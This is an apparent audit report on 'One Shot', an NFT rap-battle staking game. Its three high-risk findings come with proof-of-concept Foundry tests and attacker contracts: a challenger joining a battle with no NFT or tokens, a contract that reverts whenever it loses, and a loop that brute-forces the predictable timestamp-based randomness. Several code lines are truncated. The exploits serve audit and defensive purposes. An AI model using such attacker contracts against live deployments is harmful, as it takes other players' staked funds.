Title	Author	Date
One Shot audit	@justAWanderKid	2024-07-29

Table of Contents

Protocol Summary

Users mint `Rapper NFT` and stake it to imporve their NFT properties and earn `cred` tokens in order to go do rap battles and putting `cred` tokens as bet. the winner will take bet amount.

Summary of Findings

Severity	Issue Count
High-Risk	3
Medium-Risk	0
Low-Risk	6
Informational	3

Findings

HIGH

[HIGH-1] A challenger can initiate a battle without owning a `Rapper NFT` or `CredToken` and if he wins, he get's prize. if he loses, transaction reverts.

Description

A challenger can initiate a battle without owning a `Rapper NFT` or `CredToken` by passing another user's Rapper NFT `tokenId` and the same bet amount as the defender. If the challenger wins, they claim the prize; otherwise, the transaction reverts.

Impact

This vulnerability allows attackers to exploit the contract, participate in battles without risking their assets, and potentially win rewards unfairly.

Proof of Concepts

Put the Following test inside the `OneShotTest.t.sol`:

```
    function testChallengerStartsBattleWithoutHavingAnCredTokenOrRapperNFT() public {
        vm.startPrank(user);

        // user mints himself an Rapper NFT to stake it for 4 days, to get `4 Cred` token's
        oneShot.mintRapper();
        oneShot.approve(address(streets), 0);
        streets.stake(0);
        vm.warp(block.timestamp + 4 days);
        streets.unstake(0);
        assertEq(cred.balanceOf(user), 4);

        // user goes on stage and becomes `defender`.
        oneShot.approve(address(rapBattle), 0);
        cred.approve(address(rapBattle), 4);
        rapBattle.goOnStageOrBattle(0, 4);

        vm.stopPrank();

        vm.startPrank(challenger);
        // challenger joins the battle without having `CredToken` or `RapperNFT` by passing
        // "require(defenderBet == _credBet, 'RapBattle: Bet amounts do not match');" state
        rapBattle.goOnStageOrBattle(0, 4);
        // now challenger either gonna win the battle and get `4 Cred` tokens as Reward, or
        // challenger has no `Cred` token to transfer from himself to `defender`.
        vm.stopPrank();
```

```
    }
```

run the test with following command:

```
    forge test --match-test testChallengerStartsBattleWithoutHavingAnCredTokenOrRapperNFT -v
```

Recommended mitigation

Verify that the challenger owns the Rapper NFT and has Enough CredToken's before starting a battle:

```
    function _battle(uint256 _tokenId, uint256 _credBet) internal {
        address _defender = defender;
        require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
+       require(oneShotNft.ownerOf(_tokenId) == msg.sender, "You do not own the Rapper NFT")
+       credToken.transferFrom(msg.sender, address(this), _credBet);
        uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
        uint256 challengerRapperSkill = getRapperSkill(_tokenId);
        uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
        uint256 totalPrize = defenderBet + _credBet;

        uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevranda

        // Reset the defender
        defender = address(0);

        emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sen

        // If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose

        if (random <= defenderRapperSkill) {
            // We give them the money the defender deposited, and the challenger's bet
            credToken.transfer(_defender, defenderBet);
            credToken.transferFrom(msg.sender, _defender, _credBet);
        } else {
-           // Otherwise, since the challenger never sent us the money, we just give the mon
+           credToken.transfer(msg.sender, totalPrize);
        }
        totalPrize = 0;
        // Return the defender's NFT
        oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
    }
```

[HIGH-2] Smart Contract Can Join the Battle as `challenger`. if he was the `winner`, will take the Prize otherwise will `revert()` the entire Transaction.

Description

A smart contract can initiate a battle as `challenger`, upon detecting a loss, `revert()` the transaction to avoid losing the bet. If it wins, it collects the prize.

Impact

This exploit allows smart contracts to unfairly manipulate battles, undermining the integrity of the game and potentially resulting in financial losses for honest participants.

Proof of Concepts

No measures are in place to prevent smart contracts from participating in battles. attacker can take advantage of this with an Contract like this:

```
contract AttackerRevertsIfHeLoses is Test, IERC721Receiver {

    IOneShot immutable oneShot;
    Credibility immutable credToken;
    RapBattle immutable rapBattle;
    Streets immutable streets;

    constructor(IOneShot _oneShot, Credibility _credToken, RapBattle _rapBattle, Streets
        oneShot = IOneShot(_oneShot);
        credToken = _credToken;
        rapBattle = RapBattle(_rapBattle);
        streets = _streets;
    }

    function revertIfLostBetOtherwiseTakeThePrize(uint256 _tokenId) external {
        require(rapBattle.defender() != address(0), "There's No Defender Yet Waiting for
        uint256 credTokenBalance = credToken.balanceOf(address(this));
        require(credTokenBalance >= rapBattle.defenderBet(), "Not Enough Balance to Join

        oneShot.approve(address(rapBattle), _tokenId);
        credToken.approve(address(rapBattle), rapBattle.defenderBet());
        rapBattle.goOnStageOrBattle(_tokenId, rapBattle.defenderBet());

        require(credToken.balanceOf(address(this)) > credTokenBalance, "Let's Revert Bec
    }


    function getRapperNftAndStakeIt(uint256 _tokenId, uint256 _days) external {
        oneShot.mintRapper();
        oneShot.approve(address(streets), _tokenId);
        streets.stake(_tokenId);

        vm.warp(block.timestamp + _days);
        streets.unstake(_tokenId);
```

```
    }


    function onERC721Received(address, address, uint256, bytes calldata) external pure {
        return IERC721Receiver.onERC721Received.selector;
    }

}
```

and here's the test i wrote for it to showcase the attack:

```
function testAttackerJoinsTheBattleAsSmartContractRevertsifheLosesBattleOtherwiseTakesTh
    // user mints himself an Rapper NFT and stakes it for 4 days to get 4 Cred tokens in
    vm.startPrank(user);

    oneShot.mintRapper();
    oneShot.approve(address(streets), 0);
    streets.stake(0);

    vm.warp(block.timestamp + 4 days);
    streets.unstake(0);
    assertEq(cred.balanceOf(user), 4);

    oneShot.approve(address(rapBattle), 0);
    cred.approve(address(rapBattle), 4);
    rapBattle.goOnStageOrBattle(0, 4);

    vm.stopPrank();

    // user mints himself an Rapper NFT and stakes it for 4 days to get 4 Cred tokens in
    AttackerRevertsIfHeLoses attackerContract = new AttackerRevertsIfHeLoses(oneShot, cr
    uint256 tokenId = oneShot.getNextTokenId();
    attackerContract.getRapperNftAndStakeIt(tokenId, 4 days);
    // next line will revert if we lose the battle. otherwise we are the winner and gonn
    // take a look at `attackerContract`, to see how `revertIfLostBetOtherwiseTakeThePri
    attackerContract.revertIfLostBetOtherwiseTakeThePrize(tokenId);
}
```

you can run the test with following command:

```
forge test --match-test testSmartContractJoinBattleAsChallengerRevertsIfLosesIfWonTakesP
```

Recommended mitigation

Implement a check to prevent smart contracts from participating in battles:

```
function _battle(uint256 _tokenId, uint256 _credBet) internal {
    address _defender = defender;
    require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
```

```
+       require(tx.origin == msg.sender, "Smart contracts are not allowed");
        uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
        uint256 challengerRapperSkill = getRapperSkill(_tokenId);
        uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
        uint256 totalPrize = defenderBet + _credBet;

        uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevranda

        // Reset the defender
        defender = address(0);
        // event Battle(address indexed challenger, uint256 tokenId, address indexed winner)

        emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sen

        // If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose

        if (random <= defenderRapperSkill) {
            // We give them the money the defender deposited, and the challenger's bet
            credToken.transfer(_defender, defenderBet);
            credToken.transferFrom(msg.sender, _defender, _credBet);
        } else {
            // Otherwise, since the challenger never sent us the money, we just give the mon
            credToken.transfer(msg.sender, _credBet);
        }
        totalPrize = 0;
        // Return the defender's NFT
        oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
    }
```

[HIGH-3] Weak Randomness for Battle Outcome, Can Result in `challanger` Waiting and Guessing When Can he Win And at that Particular time, Join's the battle and Win's the Prize.

Description

The randomness used to determine the battle outcome is predictable and can be exploited by an attacker to influence the result in their favor.

Impact

Predictable randomness compromises the fairness of battles, allowing attackers to win consistently by manipulating the random number generation.

Proof of Concepts

The `RapBattle` contract uses block timestamp and other easily predictable variables for randomness.

Attacker Can Use Similiar Contract to Guess the Battle Winner:

```
contract AttackerJoinsBattle is Test, IERC721Receiver {

    IOneShot immutable oneShot;
    Credibility immutable credToken;
    RapBattle immutable rapBattle;
    Streets immutable streets;

    constructor(IOneShot _oneShot, Credibility _credToken, RapBattle _rapBattle, Streets
        oneShot = IOneShot(_oneShot);
        credToken = _credToken;
        rapBattle = RapBattle(_rapBattle);
        streets = _streets;
    }

    function joinBattleToWin(uint256 _tokenId) external {
        require(rapBattle.defender() != address(0), "There's No Defender Yet Waiting for
        require(credToken.balanceOf(address(this)) >= rapBattle.defenderBet(), "Not Enou

        uint256 defenderRapperSkill = rapBattle.getRapperSkill(rapBattle.defenderTokenId
        uint256 challengerRapperSkill = rapBattle.getRapperSkill(_tokenId);
        uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;

        uint256 i;
        while (true) {
            vm.warp(block.timestamp + i);
            uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.p
            if (random > defenderRapperSkill) {
                oneShot.approve(address(rapBattle), _tokenId);
                credToken.approve(address(rapBattle), rapBattle.defenderBet());
                rapBattle.goOnStageOrBattle(_tokenId, rapBattle.defenderBet());
                break;
            }
            i++;
        }

    }

    function getRapperNftAndStakeIt(uint256 _tokenId, uint256 _days) external {
        oneShot.mintRapper();
        oneShot.approve(address(streets), _tokenId);
        streets.stake(_tokenId);

        vm.warp(block.timestamp + _days);
        streets.unstake(_tokenId);
    }
```

```
    function onERC721Received(address, address, uint256, bytes calldata) external pure {
        return IERC721Receiver.onERC721Received.selector;
    }

}
```

and here is the Test you can Run:

```
function testAttackerCanGuessWhoWins() public {
    // user mints himself an Rapper NFT and stakes it for 4 days to get 4 Cred tokens in
    vm.startPrank(user);

    oneShot.mintRapper();
    oneShot.approve(address(streets), 0);
    streets.stake(0);

    vm.warp(block.timestamp + 4 days);
    streets.unstake(0);
    assertEq(cred.balanceOf(user), 4);

    oneShot.approve(address(rapBattle), 0);
    cred.approve(address(rapBattle), 4);
    rapBattle.goOnStageOrBattle(0, 4);

    vm.stopPrank();

    // attacker mints himself an Rapper NFT and stakes it for 4 days to get 4 Cred token
    AttackerJoinsBattle attackerContract = new AttackerJoinsBattle(oneShot, cred, rapBat
    uint256 tokenId = oneShot.getNextTokenId();
    attackerContract.getRapperNftAndStakeIt(tokenId, 4 days);

    // take a look at `joinBattleToWin()` function in Attacker Contract, Which showcases
    // global variables like block.timestamp and block.prevrandao.
    vm.expectEmit();
    emit RapBattle.Battle(address(attackerContract), tokenId, address(attackerContract))
    attackerContract.joinBattleToWin(tokenId);

    // attacker successfully won the battle and now has 8 cred Tokens.
    assertEq(cred.balanceOf(address(attackerContract)), 8);
}
```

run the test with following command:

```
forge test --match-test testAttackerCanGuessWhoWins -vvvv
```

Recommended mitigation

Use a more secure source of randomness, such as Chainlink VRF, to ensure the unpredictability of the battle outcomes.

MEDIUM

LOW

[LOW-1] `defender` and `challenger` can be same address in battle.

Description

The contract allows the same address to be both the defender and challenger in a battle.

Impact

Not Much Impact, just better to have a check for `defender` to not be same address as `challenger`.

Proof of Concepts

Put the following test inside the `OneShotTest.t.sol`:

```
    function testStartBattleAsDefenderAndChallengerAreSameAddress() public {
        vm.startPrank(user);

        // mint two nft's for user
        oneShot.mintRapper();
        oneShot.mintRapper();

        // approve streets contract in order to stake it.
        oneShot.approve(address(streets), 0);
        oneShot.approve(address(streets), 1);

        streets.stake(0);
        streets.stake(1);

        // lets say four days has passed so we get 4 Cred Tokens for each Rapper NFT we stak
        vm.warp(block.timestamp + 4 days);

        streets.unstake(0);
        streets.unstake(1);

        assertEq(cred.balanceOf(user), 8);

        oneShot.approve(address(rapBattle), 0);
        cred.approve(address(rapBattle), 8);

        // let's start a Rap Battle.

        // defender is `user` below.
        rapBattle.goOnStageOrBattle(0, 4);
        // challenger is also `user` below.
```

```
        rapBattle.goOnStageOrBattle(1, 4);

        vm.stopPrank();
    }
```

in order to run the test, run the following command:

```
forge test --match-test testStartBattleAsDefenderAndChallengerAreSameAddress -vvvv
```

as you can see nothing stops `user` from being the same address as `defender` and `challenger`.

Recommended mitigation

Add a check to ensure the challenger is not the same as the defender:

```
require(msg.sender != defender, "Defender and challenger cannot be the same");
```

[LOW-2] Allowing Zero Bet in Battles

Description

The `goOnStageOrBattle` function allows a bet of zero. This means the `defender` can start battle with not putting any `cred` token in line, and even if a winner is declared, they receive nothing.

Impact

Allowing zero `cred` bets reduces the incentive for users to participate in battles because there's no point to it when the reward is non-existent.

Proof of Concepts

```
    function testGoOnStageWith_credBetAmounttoZero() public {
        vm.startPrank(user);
        oneShot.mintRapper();

        oneShot.approve(address(streets), 0);
        streets.stake(0);

        vm.warp(block.timestamp + 4 days);
        streets.unstake(0);
        assertEq(cred.balanceOf(user), 4);

        oneShot.approve(address(rapBattle), 0);
        // cred.approve(address(rapBattle), 0);

        // `user` goes on stage as `defender` and set's `_credBet` to 0, which this can res
        rapBattle.goOnStageOrBattle(0, 0);
        vm.stopPrank();
```

```
        assertEq(rapBattle.defenderBet(), 0);
    }
```

run the test with following command:

```
forge test --match-test testGoOnStageWith_credBetAmounttoZero -vvvv
```

Recommended mitigation

Add a check to ensure `_credBet` is greater than zero before allowing a user to go on stage or battle:

```
+   error RapBattle__CredTokenBetAmountZero();

    function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
+       if (_credBet == 0) {revert RapBattle__CredTokenBetAmountZero();}
        if (defender == address(0)) {
            defender = msg.sender;
            defenderBet = _credBet;
            defenderTokenId = _tokenId;

            emit OnStage(msg.sender, _tokenId, _credBet);

            oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
            credToken.transferFrom(msg.sender, address(this), _credBet);
        } else {
            // credToken.transferFrom(msg.sender, address(this), _credBet);
            _battle(_tokenId, _credBet);
        }
    }
```

[LOW-3] Incorrect Event Emission Logic

Description

The event emission logic for determining the winner of a battle is inconsistent with the actual winner determination logic in the contract.

Impact

Inconsistent event emissions can lead to confusion and incorrect information being propagated to off-chain systems and users.

Proof of Concepts

The event is emitted with:

```
    // event Battle(address indexed challenger, uint256 tokenId, address indexed winner);
    emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sender)
```

While the winner is determined with:

```
if (random <= defenderRapperSkill) {
    // defender wins
} else {
    // challenger wins
}
```

Recommended mitigation

Align the event emission logic with the actual winner determination logic:

```
-         emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.se
+         emit Battle(msg.sender, _tokenId, random <= defenderRapperSkill ? _defender : msg.s
```

[LOW-4] BattlesWon Stat Not Incremented for the Winner of the Battle.

Description

The contract does not increment the `battlesWon` stat for the winner of a battle.

Impact

Not updating the `battlesWon` stat can lead to incorrect tracking of a rapper's battle history.

Proof of Concepts

put the following test in your `OneShotTest.t.sol`:

```
function testBattlesWonOftheWinnerIsNotBeingIncremented() public {
    // user mints himself an Rapper NFT and stakes it for 4 days to get 4 Cred tokens in
    vm.startPrank(user);

    oneShot.mintRapper();
    oneShot.approve(address(streets), 0);
    streets.stake(0);

    vm.warp(block.timestamp + 4 days);
    streets.unstake(0);
    assertEq(cred.balanceOf(user), 4);

    oneShot.approve(address(rapBattle), 0);
    cred.approve(address(rapBattle), 4);
    rapBattle.goOnStageOrBattle(0, 4);

    vm.stopPrank();

    // challenger mints himself an Rapper NFT and stakes it for 4 days to get 4 Cred tok
    vm.startPrank(challenger);
    oneShot.mintRapper();
```

```
        oneShot.approve(address(streets), 1);
        streets.stake(1);

        vm.warp(block.timestamp + 4 days);
        streets.unstake(1);
        assertEq(cred.balanceOf(challenger), 4);

        oneShot.approve(address(rapBattle), 1);
        cred.approve(address(rapBattle), 4);
        rapBattle.goOnStageOrBattle(1, 4);

        vm.stopPrank();


        // the winner of the rap battle either was `defender` or `challenger`. this means th
        // defender tokenId is `0`
        // challenger tokenId is `1`
        // let's check it.
        IOneShot.RapperStats memory rapperStatsOfDefender =  oneShot.getRapperStats(0);
        IOneShot.RapperStats memory rapperStatsOfChallenger = oneShot.getRapperStats(1);

        vm.expectRevert(); // if the line below reverts, that means the `battlesWon` of the
        assert(rapperStatsOfDefender.battlesWon == 1 || rapperStatsOfChallenger.battlesWon =
    }
```

run the test with following command:

```
forge test --match-test testBattlesWonOftheWinnerIsNotBeingIncremented -vvvv
```

Recommended mitigation

add the following changes to `OneShot` Contract:

```
+   import {RapBattle} from "./RapBattle.sol";

    contract OneShot is IOneShot, ERC721URIStorage, Ownable {

+       RapBattle private rapBattleContract;

+       modifier onlyRapBattleContract() {
+           require(msg.sender == address(rapBattleContract), "Not the streets contract");
+           _;
+       }

+       function setRapBattleContract(address _rapBattleContract) public onlyOwner {
+           rapBattleContract = RapBattle(_rapBattleContract);
+       }
```

```
+       function incrementBattlesWon(uint256 tokenId) external onlyRapBattleContract {
+           RapperStats storage metadata = rapperStats[tokenId];
+           metadata.battlesWon++;
+       }

    }
```

and add the following line in `RapBattle:_battle()` function:

```
    function _battle(uint256 _tokenId, uint256 _credBet) internal {
        address _defender = defender;
        require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
        uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
        uint256 challengerRapperSkill = getRapperSkill(_tokenId);
        uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
        uint256 totalPrize = defenderBet + _credBet;

        uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevranda

        // Reset the defender
        defender = address(0);
        // event Battle(address indexed challenger, uint256 tokenId, address indexed winner)

        emit Battle(msg.sender, _tokenId, random < defenderRapperSkill ? _defender : msg.sen

        // If random <= defenderRapperSkill -> defenderRapperSkill wins, otherwise they lose

        if (random <= defenderRapperSkill) {
            // We give them the money the defender deposited, and the challenger's bet
            credToken.transfer(_defender, defenderBet);
            credToken.transferFrom(msg.sender, _defender, _credBet);
+           oneShot.incrementBattlesWon(defenderTokenId);
        } else {
            // Otherwise, since the challenger never sent us the money, we just give the mon
            credToken.transfer(msg.sender, _credBet);
+           oneShot.incrementBattlesWon(_tokenId);
        }
        totalPrize = 0;
        // Return the defender's NFT
        oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
    }
```

[LOW-5] Incompatible PUSH0 Opcode in Solidity ^0.8.20 with Arbitrum

Description

The `PUSH0` opcode, introduced in Solidity `^0.8.20`, is not supported by the Arbitrum network. This incompatibility can cause deployment failures or unexpected behavior on Arbitrum.

Impact

Contracts using the `PUSH0` opcode will not deploy or function correctly on Arbitrum, disrupting projects that rely on this Layer 2 solution.

Recommended Mitigation

Use Solidity `^0.8.19` or earlier to avoid the `PUSH0` opcode.

[LOW-6] Incorrect Amount of CredToken Minted In `Streets:unstake()` function.

Description

In the unstake function, the contract mints `1` CredToken to the user for each day the token was staked. However, this minting amount does not align with the expected `1e18` units for ERC20 tokens.

Impact

Users will receive very negligible amount of `CRED` token i.e., only `0.000000000000000001`

Recommended mitigation

Update the mint amount from mint `1` to `1e18` in `Streets:unstake()` function:

```
        if (daysStaked >= 1) {
            stakedRapperStats.weakKnees = false;
-           credContract.mint(msg.sender, 1);
+           credContract.mint(msg.sender, 1e18);
        }
        if (daysStaked >= 2) {
            stakedRapperStats.heavyArms = false;
-           credContract.mint(msg.sender, 1);
+           credContract.mint(msg.sender, 1e18);
        }
        if (daysStaked >= 3) {
            stakedRapperStats.spaghettiSweater = false;
-           credContract.mint(msg.sender, 1);
+           credContract.mint(msg.sender, 1e18);
        }
        if (daysStaked >= 4) {
            stakedRapperStats.calmAndReady = true;
-           credContract.mint(msg.sender, 1);
+           credContract.mint(msg.sender, 1e18);
        }
```

INFORMATIONAL

[INFO-1] BASE_SKILL Amount Mismatch

Description

The `BASE_SKILL` amount in the contract is set to 65, while the documentation specifies it should be 50.

Impact

The discrepancy between the actual and documented base skill can lead to confusion and misinterpretation of the contract's functionality by developers and users.

Recommended mitigation

Update the `BASE_SKILL` constant in the contract to match the documented value:

```
uint256 public constant BASE_SKILL = 50; // The starting base skill of a rapper
```

[INFO-2] State Variables like `oneShotContract` and `credContract` in `Streets.sol`, should be marked as `immutable`, to Save Gas.

Description

The `oneShotContract` and `credContract` variables are not marked as immutable. Given that these variables are only set in the constructor and do not change thereafter, they should be marked as immutable to save gas costs.

Impact

Not marking these variables as immutable results in higher gas costs for accessing these variables. This can lead to increased transaction costs for users interacting with the contract.

Recommended mitigation

mark `oneShotContract` and `credContract` as immutable.

[INFO-3] `OneShot:mintRapper()` And `OneShot:updateRapperStats()` function can be marked as external.

Description

The `OneShot:mintRapper()` and `OneShot:updateRapperStats()` functions are marked as `public`. Since they are not called internally, they can be marked as `external` to save gas.

Impact

Using `public` instead of `external` for externally-called functions incurs higher gas costs.

Recommended mitigation

Change `OneShot:mintRapper()` and `OneShot:updateRapperStats()` visibility to `external`.